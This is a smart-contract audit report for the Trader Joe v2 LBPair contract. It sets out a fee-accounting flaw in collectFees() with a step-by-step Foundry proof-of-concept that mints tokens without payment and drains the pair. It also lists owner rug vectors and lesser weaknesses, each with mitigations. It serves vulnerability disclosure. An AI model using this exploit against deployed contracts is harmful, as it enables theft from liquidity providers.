Trader Joe v2 contest - zzykxx's results

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBPair.sol#L688

Vulnerability details

The function collectFees(address _account, uint256[] memory _ids) in LBPair.sol is supposed to calculate and transfer the fees owed to _account. Since the protocol assumes that the pair contract itself cannot accumulate fees, this function is exploitable by passing the address of the pair itself as _account parameter.

Impact

Alice could send LBTokens to the address pair, then call collectFees() passing the address of the pair itself as _account and the id of the LBTokens sent to the pair as _ids.

The fees are calculated using _getPendingFees(_bin, _account, _id, _balance):

Debts memory _debts = _accruedDebts[_account][_id];

amountX = _bin.accTokenXPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) - _debts.debtX;
amountY = _bin.accTokenYPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) - _debts.debtY;

If Alice is the first exploiter, both debts.debtX and _debts.debtY are 0. _balance is equal to the amount of LBTokens Alice sends to the pair.

accTokenXPerShare and accTokenYPerShare are increasing-only values which could potentially be very high, sice they're increased for every swap and flashloan and never decreased.

The result of this subtraction, amountX and amountY, is then removed from the variables accouting for the pair fees:

if (amountX != 0) {
    _pairInformation.feesX.total -= uint128(amountX);
}

if (amountY != 0) {
    _pairInformation.feesY.total -= uint128(amountY);
}

At this point Alice can take advantage of the wrongly lowered feesX.total and feesY.total by calling either mint() or swap(), in which the amount to either mint or swap is calculated as the difference between the current pair token balance and the reserves plus fees:

_mintInfo.amountXIn = tokenX.received(_pair.reserveX, _pair.feesX.total).safe128();
_mintInfo.amountYIn = tokenY.received(_pair.reserveY, _pair.feesY.total).safe128();

meaning Alice gets effectivly accredited amountX and amountY.

Important to note: the same bug can be exploited to DOS a new pair by underflowing either feesX.total or feesY.total and thus making the token.received() call in mint() and swap() revert for underflow.

In any case it can be used to break the invariants:

tokenX.balanceOf(pair) - pair.reserveX - pair.feesX == 0
tokenY.balanceOf(pair) - pair.reserveY - pair.feesY == 0

Proof of concept

Copy-paste in LBPair.fees.t.sol:

function testCollectFeeManipulation() public {
    factory.setPreset(
        1,
        DEFAULT_BASE_FACTOR,
        DEFAULT_FILTER_PERIOD,
        DEFAULT_DECAY_PERIOD,
        DEFAULT_REDUCTION_FACTOR,
        DEFAULT_VARIABLE_FEE_CONTROL,
        DEFAULT_PROTOCOL_SHARE,
        DEFAULT_MAX_VOLATILITY_ACCUMULATED,
        DEFAULT_SAMPLE_LIFETIME
    );

    pair = createLBPairDefaultFeesFromStartIdAndBinStep(token18D, token6D, ID_ONE, 1);

    uint256 amountYIn = 3e18;

    /*

        1. ALICE mints LBTokens for herself by sending 3e18 tokenY ( == token6D)

    */

    uint256[] memory _ids = new uint256[](1); 
    uint256[] memory _distributionX = new uint256[](1); 
    uint256[] memory _distributionY = new uint256[](1); 

    _ids[0] = ID_ONE;
    _distributionX[0] = uint256(0);
    _distributionY[0] = uint256(1e18);

    token6D.mint(address(pair), amountYIn);

    (,,uint256[] memory liquidityMinted) = pair.mint(_ids, _distributionX, _distributionY, ALICE);
    assertEq(liquidityMinted[0], amountYIn);

    /*

        1.1 DEV mints LBTokens for himself by sending 3e18 tokenY ( == token6D)
        (this is just to no make pair.feesX underflow,
        which would DOS the contract)

    */

    _ids = new uint256[](1); 
    _distributionX = new uint256[](1); 
    _distributionY = new uint256[](1); 

    _ids[0] = ID_ONE;
    _distributionX[0] = uint256(0);
    _distributionY[0] = uint256(1e18);

    token6D.mint(address(pair), amountYIn);

    (,,liquidityMinted) = pair.mint(_ids, _distributionX, _distributionY, DEV);
    assertEq(liquidityMinted[0], amountYIn);

    /*

        2. BOB swaps tokenX for tokenY using ALICE liquidity

    */

    token18D.mint(address(pair), 1e18);
    vm.prank(BOB);
    pair.swap(true, BOB);

    /*

        3. ALICE collects fees from BOB swap

    */

    vm.prank(ALICE);
    pair.collectFees(ALICE, _ids);
    

    /*

        4. ALICE transfers all of her LBtokens to the pair contract

    */

    vm.startPrank(ALICE);
    pair.safeTransferFrom(ALICE, address(pair), _ids[0], pair.balanceOf(ALICE, _ids[0]));
    vm.stopPrank();

    /*

        5. ALICE collects fees on behalf of the pair,
        by passing the pair address in the collectFees() call

    */

    (uint256 beforeFeesXTotal,  , , ) = pair.getGlobalFees();
    vm.prank(ALICE);
    pair.collectFees(address(pair), _ids);
    (uint256 afterFeesXTotal,  , , ) = pair.getGlobalFees();
    assertGt(beforeFeesXTotal, afterFeesXTotal);

    /*

        6. ALICE mints extra LBTokens to herself using the perceived increase of balance
        derived from artificially lowering pair.feesX

        NOTE: Alice is able to call mint() without sending any token
    */

    uint256[] memory _amounts = new uint256[](1);
    _amounts[0] = pair.balanceOf(address(pair), _ids[0]);

    _ids[0] = ID_ONE;
    _distributionX[0] = uint256(1e18);
    _distributionY[0] = uint256(0);

    pair.mint(_ids, _distributionX, _distributionY, ALICE);

    /*

        7. ALICE burns her original LBTokens + the new minted LBTokens,
        ending up with more tokens than she should

    */

    pair.burn(_ids, _amounts, ALICE);
}

Mitigation steps

Add input validation in collectFees():

if(_account == address(this)) revert("not allowed");

Judge has assessed an item in Issue #334 as M risk. The relevant finding follows:

2. Rug vectors by the owner A malicious owner can call setLBPairImplementation(), setFeeRecipient(), setFlashLoanFee() , setFeesParameters() and forceDecay() to advantage himself at expenses of the users.

setLBPairImplementation(): can be used to silently frontun a pair creation by swapping the implementation with a malicious one and stealing potentially any deposit. setFeeRecipient(): can be used to steal all of the protocol fees not yet collected. setFlashLoanFee(): can be used to frontrun a flashloan by increasing the fee, if the flashloan returns the fee based on the callback parameters. setFeesParameters(): can set the protocol fee to the max 25% and gets the funds for himself in combination with setFeeRecipient(). forceDecay(): can be used to advantage himself in trades. As a mitigation add a timelock and make sure the owner is a multisig and not an EOA.

Low & QA

1. Missing sanity checks on to addresses in LBRouter.sol
2. Rug vectors by the owner
3. All tokens send to a pair that are not immediately used can be stolen
4. Potential loss of funds on tokens with big supplies
5. In TokenHelper.sol the safeTransfer function does not check for potentially self-destroyed tokens

1. Missing sanity checks on to addresses in LBRouter.sol

All the public/external functions in LBRouter.sol require an address to as a parameter to which to send either tokens, LBtokens or ETH. When tokens or LBtokens are sent the protocol should check that if the to address is contract then that contract should is able to manage ERC20/LBTokens, otherwise funds would be lost.

2. Rug vectors by the owner

A malicious owner can call setLBPairImplementation(), setFeeRecipient(), setFlashLoanFee() , setFeesParameters() and forceDecay() to advantage himself at expenses of the users.

• setLBPairImplementation(): can be used to silently frontun a pair creation by swapping the implementation with a malicious one and stealing potentially any deposit.
• setFeeRecipient(): can be used to steal all of the protocol fees not yet collected.
• setFlashLoanFee(): can be used to frontrun a flashloan by increasing the fee, if the flashloan returns the fee based on the callback parameters.
• setFeesParameters(): can set the protocol fee to the max 25% and gets the funds for himself in combination with setFeeRecipient().
• forceDecay(): can be used to advantage himself in trades.

As a mitigation add a timelock and make sure the owner is a multisig and not an EOA.

3. All tokens send to a pair that are not immediately used can be stolen

If extra tokens are sent the a pair contract either by mistake or intentionally and they are not used immetiately (calling either mint(), burn() or swap()) they become available for anybody to frontrun and claim by simply calling mint() and burn().

4. Potential loss of funds on tokens with big supplies

swap() and mint() both reverts if either 2^112 or 2^128 tokens are sent to the pair. This would result in the funds being stuck and nobody being able to mint or swap. Submitting as low because the cost of attack is extremely high, but it's good to be aware of it.

5. In TokenHelper.sol the safeTransfer function does not check for potentially self-destroyed tokens.

If a pair gets created and after a while one of the tokens gets self-destroyed (maybe because of a bug) then safeTransfer would still succeed. It's probably a good idea to check if the contract still exists by checking the bytecode length.